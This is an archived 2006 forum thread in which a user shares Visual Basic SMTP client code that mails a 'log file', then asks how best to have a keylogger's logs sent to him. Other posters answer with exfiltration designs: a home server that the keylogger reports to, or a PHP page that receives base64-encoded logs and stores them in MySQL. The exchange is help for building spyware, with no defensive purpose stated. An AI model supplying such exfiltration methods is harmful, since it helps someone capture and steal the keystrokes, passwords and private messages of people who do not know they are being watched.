• Welcome to Valhalla Legends Archive.
 

Sending SMTP email

Started by Fr0z3N, June 04, 2006, 03:49 PM

Previous topic - Next topic

Fr0z3N

Could just be the wrong info?


smtp("mail.hotmail.com", "25", "[email protected]", "[email protected]", "log file", "blackhaze", "[email protected]", "l o g f i l e", Text2)




Public Function smtp(m_host, m_port, m_from, m_rcpt, name_from, name_rcpt, m_reply, m_subject, m_data As String) As Integer
'smtp = 1  Mail sent successfully
'smtp =-1  Mail sent met with some error
'smtp = 0  Timed Out
'Log mysock
Dim temp, timeout As Variant
    Progress = 0
    Green_Light = False
    do_cancel = False
    timeout = Timer + 60
    Log "Will timeout in 60 seconds"
    'make sure the port is closed!
    If mysock <> 0 Then Call closesocket(mysock)
    'let's connect!!!       host            port       handle
    temp = ConnectSock(m_host, m_port, 0, Form1.hWnd, True)
    Log "Connect socket return value" & temp
    Log "Connected to " & m_host & " at port " & m_port
    If temp = INVALID_SOCKET Then
        Log "Error -Invalid Socket"
        smtp = -1
        Exit Function
    End If
    While mysock = 0  'make sure we are connected
        DoEvents
        If do_cancel = True Then
            Log "Error .. No connection"
            smtp = -1
            Exit Function
        End If
    Wend
    timeout = Timer + 60
    Log "Connection Established..."
    While Green_Light = False
       
        DoEvents
        If do_cancel = True Then
            Log "Error in between smtp - fatal"
            smtp = -1
            Exit Function
        End If
       
        If Timer > timeout Then
            m_timeout = True
            Call closesocket(mysock)
            mysock = 0
            Log "Timeout at progress step " & Progress
            smtp = 0
            Exit Function
        End If
    Wend

    Log "HELO " & Mid(m_from, InStr(1, m_from, "@") + 1, Len(m_from)) & vbCrLf
    Call SendData(mysock, "HELO " & Mid(m_from, InStr(1, m_from, "@") + 1, Len(m_from)) & vbCrLf) 'send the data
    While Progress < 1
        DoEvents
       
        If do_cancel = True Then
            Log "Error in between smtp - fatal"
            smtp = -1
            Exit Function
        End If
        If Timer > timeout Then
            m_timeout = True
            Call closesocket(mysock)
            mysock = 0
            smtp = 0
            Log "Timeout at progress step " & Progress
            Exit Function
        End If
    Wend
    Log "MAIL FROM: <" & m_from & ">" & vbCrLf
    Call SendData(mysock, "MAIL FROM: <" & m_from & ">" & vbCrLf)
    While Progress < 2
        DoEvents
        If do_cancel = True Then
            Log "Error in between smtp - fatal"
            smtp = -1
            Exit Function
        End If
       
        If Timer > timeout Then
            m_timeout = True
            Call closesocket(mysock)
            mysock = 0
            Log "Timeout at progress step " & Progress
            smtp = 0
            Exit Function
        End If
    Wend
    Log "RCPT TO: <" & m_rcpt & ">" & vbCrLf
    Call SendData(mysock, "RCPT TO: <" & m_rcpt & ">" & vbCrLf)
    While Progress < 3
       
        DoEvents
       
        If do_cancel = True Then
            Log "Error in between smtp - fatal"
            smtp = -1
            Exit Function
        End If
        If Timer > timeout Then
            m_timeout = True
            Call closesocket(mysock)
            mysock = 0
            Log "Timeout at progress step " & Progress
            smtp = 0
            Exit Function
        End If
    Wend
    Log "DATA"
    Call SendData(mysock, "DATA" & vbCrLf)
    While Progress < 4
        DoEvents
        If do_cancel = True Then
            Log "Error in between smtp - fatal"
            smtp = -1
            Exit Function
        End If
       
        If Timer > timeout Then
            m_timeout = True
            Call closesocket(mysock)
            mysock = 0
            Log "Timeout at progress step " & Progress
            smtp = 0
            Exit Function
        End If
    Wend
    Log "Beginning transfer of body..."
    temp = GenerateMessageID(Mid(m_from, InStr(1, m_from, "@") + 1, Len(m_from)))
    Log temp
    Call SendData(mysock, temp & vbCrLf)
    temp = "DATE: " & Format(Now, "h:mm:ss")
    Log temp
    Call SendData(mysock, temp & vbCrLf)
    temp = "FROM: " & name_from & " <" & m_from & ">"
    Log temp
    Call SendData(mysock, temp & vbCrLf)
    temp = "TO: " & name_rcpt & " <" & m_rcpt & ">"
    Log temp
    Call SendData(mysock, temp & vbCrLf)
    temp = "Reply-to: " & " <" & m_reply & ">"
    Log temp
    Call SendData(mysock, temp & vbCrLf)
    temp = "SUBJECT: " & m_subject
    Log temp
    Call SendData(mysock, temp & vbCrLf)
    Log "MIME-Version: 1.0"
    Call SendData(mysock, "MIME-Version: 1.0" & vbCrLf)
    Log "Content-Type: text/plain; charset=us-ascii"
    Call SendData(mysock, "Content-Type: text/plain; charset=us-ascii" & vbCrLf)
    Log m_data
    Call SendData(mysock, m_data)
    Log vbCrLf & "." & vbCrLf
    Call SendData(mysock, vbCrLf & "." & vbCrLf)
    While Progress < 5
        DoEvents
        If do_cancel = True Then
            Log "Error in between smtp - fatal"
            smtp = -1
            Exit Function
        End If
       
        If Timer > timeout Then
            m_timeout = True
            Call closesocket(mysock)
            mysock = 0
            Log "Timeout at progress step " & Progress
            smtp = 0
            Exit Function
        End If
    Wend
    Call SendData(mysock, "QUIT" & vbCrLf)
    While Progress < 6
        DoEvents
        If do_cancel = True Then
            Log "Error in between smtp - fatal"
            smtp = -1
            Exit Function
        End If
       
        If Timer > timeout Then
            m_timeout = True
            Call closesocket(mysock)
            mysock = 0
            Log "Timeout at progress step " & Progress
            smtp = 0
            Exit Function
        End If
    Wend
   
    Log "Mail sent succesfully"
    smtp = 1
   
End Function



Function WindowProc(ByVal hw As Long, ByVal uMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Dim x As Long, a As String
Dim wp As Integer
Dim temp As Variant
Dim ReadBuffer(1000) As Byte
'Debug.Print uMsg, wParam, lParam
    Select Case uMsg
        Case 1025:
            Debug.Print uMsg, wParam, lParam
            Log uMsg & "  " & wParam & "  " & lParam
            e_err = WSAGetAsyncError(lParam)
            e_errstr = GetWSAErrorString(e_err)
           
            If e_err <> 0 Then
                Log e_err & " - " & e_errstr
                Log "Terminating...."
                do_cancel = True
                'Exit Function
            End If
            Select Case lParam
            Case FD_READ: 'lets check for data
                    x = recv(mysock, ReadBuffer(0), 1000, 0) 'try to get some
                    If x > 0 Then 'was there any?
                        a = StrConv(ReadBuffer, vbUnicode) 'yep, lets change it to stuff we can understand
                        Log a
                        rtncode = Val(Mid(a, 1, 3))
                        'Log "Analysing code " & rtncode & "..."
                        Select Case rtncode
                        Case 354, 250
                            Progress = Progress + 1
                            Log ">>Progress becomes " & Progress
                        Case 220
                            Log "Recieved Greenlight"
                            Green_Light = True
                        Case 221
                            Progress = Progress + 1
                            Log ">>Progress becomes " & Progress
                        Case 550, 551, 552, 553, 554, 451, 452, 500
                            Log "There was some error at the server side"
                            Log "error code is " & rtncode
                            do_cancel = True
                        End Select
                    End If
            Case FD_CONNECT: 'did we connect?
                    mysock = wParam 'yep, we did! yayay
                    'Log WSAGetAsyncError(lParam) & "error code"
                    'Log mysock & " - Mysocket Value"

            Case FD_CLOSE: 'uh oh. they closed the connection
                    Call closesocket(wp)   'so we need to close
            End Select
    End Select
    'let the msg get through to the form
    WindowProc = CallWindowProc(lpPrevWndProc, hw, uMsg, wParam, lParam)
End Function

warz

If I recall, I don't think hotmail supports remote SMTP or whatever, unless you're a paying member.

Fr0z3N

#2
What about if I were to change it to gmail? just change mail.hotmail.com to smtp.google.com, still doesn't work (already tried) so still need ideas.


Edit: I get

Connect socket return value732
Connected to smtp.google.com at port 25
1025  732  659292176
10060 - Connection timed out.
Terminating....
Error .. No connection




wVersion= 257               wHighVersion= 514
If wVersion == 257 then everything is kewl
szDescription=WinSock 2.0                                                                                                                                                                                                                                                     
szSystemStatus=Running                                                                                                                         
iMaxSockets= 32767          iMaxUdpDg=-69
Linger is on if nonzero:  1
Linger time if linger is on:  0
1025          732           659292176
Linger is on if nonzero:  1
Linger time if linger is on:  0



if thats any help

warz

I doubt any of these services support this anymore.

Fr0z3N

Yeah I found that out =\

Edit: what's the best way to have the logs from a keylogger sent to you?

FrOzeN

Setup a server on your computer, and make the program sending you the keylogs a client of that server. Or if you can't setup a server on your computer, maybe make a php page and you can make a function to access that php and input data, then have the page store the info in a MySQL database which you can read it from.
~ FrOzeN

Stealth

Many residential ISPs now require you to use their own outbound mail servers to send mail by SMTP from your computer. Could that be having an effect?
- Stealth
Author of StealthBot

Joe[x86]

Quote from: Fr0z3N on June 04, 2006, 08:35 PM
Yeah I found that out =\

Edit: what's the best way to have the logs from a keylogger sent to you?

Use PHP. Convert it to base64 and give it as an argument to a PHP script.

Quote from: Stealth on June 05, 2006, 01:29 AM
Many residential ISPs now require you to use their own outbound mail servers to send mail by SMTP from your computer. Could that be having an effect?

If you have apache and php installed, a mega-easy way to check this would be to try the mail($to,$subject,$message,$header) function.
Quote from: brew on April 25, 2007, 07:33 PM
that made me feel like a total idiot. this entire thing was useless.

Fr0z3N

Setting up a server on my computer is beyond easy but I change my ip every few days, thus a problem and I really don't wanna run any dns2go crap. I tried PHP and it was too confusing :)

Hero

Gmail and hotmail are pretty much the only ones that never work for me. Try yahoo, that never lets me down.